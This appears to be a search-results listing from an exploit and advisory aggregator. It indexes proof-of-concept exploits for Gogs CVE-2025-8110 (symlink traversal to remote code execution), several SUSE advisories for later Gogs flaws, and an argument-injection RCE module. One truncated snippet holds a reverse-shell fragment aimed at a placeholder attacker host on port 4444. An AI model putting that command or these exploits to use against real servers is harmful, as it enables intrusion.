1376 matches found
ofensive-playbook
HackTheBox — Writeups Collection A collection of HackTheBox m...
Exploit for Path Traversal in Gogs
CVE-20...
Exploit for Path Traversal in Gogs
No d...
The vulnerability of the Gogs self-managed Git repository creation software lies in its insufficient verification of data authenticity, allowing a violator to re-archive LFS objects.
The vulnerability of the Gogs self-managed Git repository creation software is related to insufficient verification of data authenticity. Exploiting this vulnerability could allow a malicious actor, operating remotely, to re-archive LFS objects...
Exploit for Path Traversal in Gogs
CVE-2025-8110 — Gogs Symlink Traversal → RCE Overview C...
Exploit for Path Traversal in Gogs
RCE - CVE-2025-59528 Gogs = 0.13.3 Exploit shellsession $...
Exploit for Path Traversal in Gogs
Gogs CVE-2025-8110 RCE Exploit An automated Python exploit fo...
Exploit for Path Traversal in Gogs
CVE-2025-8110-Authenticated-Remote-Code-Execution-on-Gogs-v0.1...
Exploit for Path Traversal in Gogs
GOGS RCE cve-2025-8110 Gogs is a lightweight and self-hosted...
Exploit for Path Traversal in Gogs
Gogs RCE Exploit CVE-2025-8110 !Pythonhttps://img.shield...
Exploit for CVE-2025-81110
CVE-2025-81110-PoC Improper Symbolic link handling in the PutC...
Exploit for Path Traversal in Gogs
CVE-2025-8110 — Gogs & /dev/tcp/ATTACKER/4444 0&1"' Cleanu...
SUSE CVE-2026-25921
Gogs is an open source self-hosted Git service. Prior to version 0.14.2, overwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers. This issue has been patched in version 0.14.2...
SUSE CVE-2026-26022
Gogs is an open source self-hosted Git service. Prior to version 0.14.2, a stored cross-site scripting XSS vulnerability exists in the comment and issue description functionality. The application's HTML sanitizer explicitly allows data: URI schemes, enabling authenticated users to inject arbitrar...
SUSE CVE-2026-26194
Gogs is an open source self-hosted Git service. Prior to version 0.14.2, there's a security issue in gogs where deleting a release can fail if a user controlled tag name is passed to git without the right separator, this lets git options get injected and mess with the process. This issue has been...
SUSE CVE-2026-26195
Gogs is an open source self-hosted Git service. Prior to version 0.14.2, stored xss is still possible through unsafe template rendering that mixes user input with safe plus permissive sanitizer handling of data urls. This issue has been patched in version 0.14.2...
SUSE CVE-2026-26196
Gogs is an open source self-hosted Git service. Prior to version 0.14.2, gogs api still accepts tokens in url params like token and accesstoken, which can leak through logs, browser history, and referrers. This issue has been patched in version 0.14.2...
SUSE CVE-2026-26276
Gogs is an open source self-hosted Git service. Prior to version 0.14.2, an attacker can store an HTML/JavaScript payload in a repository's Milestone name, and when another user selects that Milestone on the New Issue page /issues/new, a DOM-Based XSS is triggered. This issue has been patched in...
Gogs Git Rebase Argument Injection RCE
This module exploits an argument injection vulnerability CVE-2026-52806 in the pull request merge flow of Gogs is parsed by Git as the --exec flag rather than a positional argument, causing sh -c to run after each replayed commit during the rebase. Two exploitation methods are supported: - ownrep...
